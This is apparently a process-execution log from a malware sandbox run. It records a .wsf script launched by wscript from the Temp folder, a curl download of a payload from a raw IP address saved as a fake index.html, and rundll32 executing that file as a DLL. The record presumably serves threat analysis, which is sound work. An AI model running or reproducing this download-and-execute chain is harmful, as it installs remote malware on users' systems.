wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\Funds_589281.wsf
3028curl.exe "C:\util\curl\curl.exe" --output c:\programdata\index.html --url http://216.120.201.169/aSxBaqnfj98wz.dat
2260rundll32.exe "C:\Windows\System32\rundll32.exe" c:\programdata\index.html,Motd
2436